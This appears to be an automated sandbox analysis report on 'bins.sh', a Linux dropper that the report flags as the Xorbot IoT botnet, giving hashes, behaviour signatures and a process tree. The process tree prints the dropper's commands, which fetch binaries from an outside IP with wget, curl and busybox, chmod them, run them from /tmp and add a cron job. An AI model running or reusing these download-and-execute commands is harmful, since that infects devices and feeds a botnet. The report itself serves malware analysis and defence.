Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    05/12/2024, 06:25

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    d46a3232f2d9e39c42e2378e3b9ee5f6

  • SHA1

    1c15292de404d15bfb04ffd8af708533296f3d87

  • SHA256

    273e3c9752c4ac7d7525722250b775dc812f042fb3f98d007663ca7f6e374f95

  • SHA512

    d6c231f3e22e63ecb5b7e3e9e3b124499280bc190ed2fc49b52e4ded2562482f761eb2ca23ca3e7e21cef55306de30948802b94cbd460696c973d3656aa8ef15

  • SSDEEP

    192:xiE2+Yb3TjllJkOq6v3XJZJeyWQpFXGOq6v3lJZJeyzlgd2+Yb3Ty:xipllGQpFllgr

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1787) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:658
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:660
        • /usr/bin/wget
          wget http://216.126.231.240/bins/zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
          • Writes file to tmp directory
          PID:665
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:681
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
          • Writes file to tmp directory
          PID:688
        • /bin/chmod
          chmod 777 zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
          • File and Directory Permissions Modification
          PID:690
        • /tmp/zZM090BtLw96clc18K3325Bi3InWJUorwB
          ./zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:691
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:693
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:694
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:695
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:696
              • /bin/rm
                rm zZM090BtLw96clc18K3325Bi3InWJUorwB
                2⤵
                  PID:698
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
                  2⤵
                    PID:701
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
                    2⤵
                      PID:702
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
                      2⤵
                      • Writes file to tmp directory
                      PID:783
                    • /bin/chmod
                      chmod 777 ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
                      2⤵
                      • File and Directory Permissions Modification
                      PID:791
                    • /tmp/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
                      ./ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
                      2⤵
                      • Executes dropped EXE
                      PID:793
                    • /bin/rm
                      rm ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
                      2⤵
                        PID:796
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
                        2⤵
                          PID:798
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
                          2⤵
                            PID:802
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
                            2⤵
                            • Writes file to tmp directory
                            PID:806
                          • /bin/chmod
                            chmod 777 OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
                            2⤵
                            • File and Directory Permissions Modification
                            PID:822
                          • /tmp/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
                            ./OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
                            2⤵
                            • Executes dropped EXE
                            PID:837
                          • /bin/rm
                            rm OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
                            2⤵
                              PID:840
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                              2⤵
                                PID:843
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                                2⤵
                                  PID:846
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:850
                                • /bin/chmod
                                  chmod 777 Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:858
                                • /tmp/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                                  ./Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                                  2⤵
                                  • Executes dropped EXE
                                  PID:861
                                • /bin/rm
                                  rm Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                                  2⤵
                                    PID:863
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                                    2⤵
                                      PID:873

                                  Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • /tmp/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX

                                          Filesize

                                          107KB

                                          MD5

                                          eb9c3a0de91fcf16ba17cb24608df68c

                                          SHA1

                                          09d95a7d70d5e115d103be51edff7c498d272fac

                                          SHA256

                                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                          SHA512

                                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                        • /tmp/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9

                                          Filesize

                                          151KB

                                          MD5

                                          6c583043d91c55aa470c08c87058e917

                                          SHA1

                                          abf65a5b9bba69980278ad09356e53de8bb89439

                                          SHA256

                                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                          SHA512

                                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                        • /tmp/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG

                                          Filesize

                                          151KB

                                          MD5

                                          3c90d5820bddcf7c5d1bd21dfa49d958

                                          SHA1

                                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                          SHA256

                                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                          SHA512

                                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                        • /tmp/zZM090BtLw96clc18K3325Bi3InWJUorwB

                                          Filesize

                                          177KB

                                          MD5

                                          786d75a158fe731feca3880f436082c0

                                          SHA1

                                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                          SHA256

                                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                          SHA512

                                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                        • /var/spool/cron/crontabs/tmp.WtUYtk

                                          Filesize

                                          210B

                                          MD5

                                          7121a7508a7552f81a799c67ee0a6a69

                                          SHA1

                                          2f9967b0f33d970bda75152af1d7885a2d9a47d8

                                          SHA256

                                          43870169156f83dcbc5360fd561a98e2408be72f8c47738de91b2805260536f8

                                          SHA512

                                          d1b82b09c9d04350692773919f8318a63f7cb58120226f6a0062ca6d7e23a7565bd1d710fbd62d6728f6bd5254b22f114fdc233b475b62e81ea55afc6ba036b8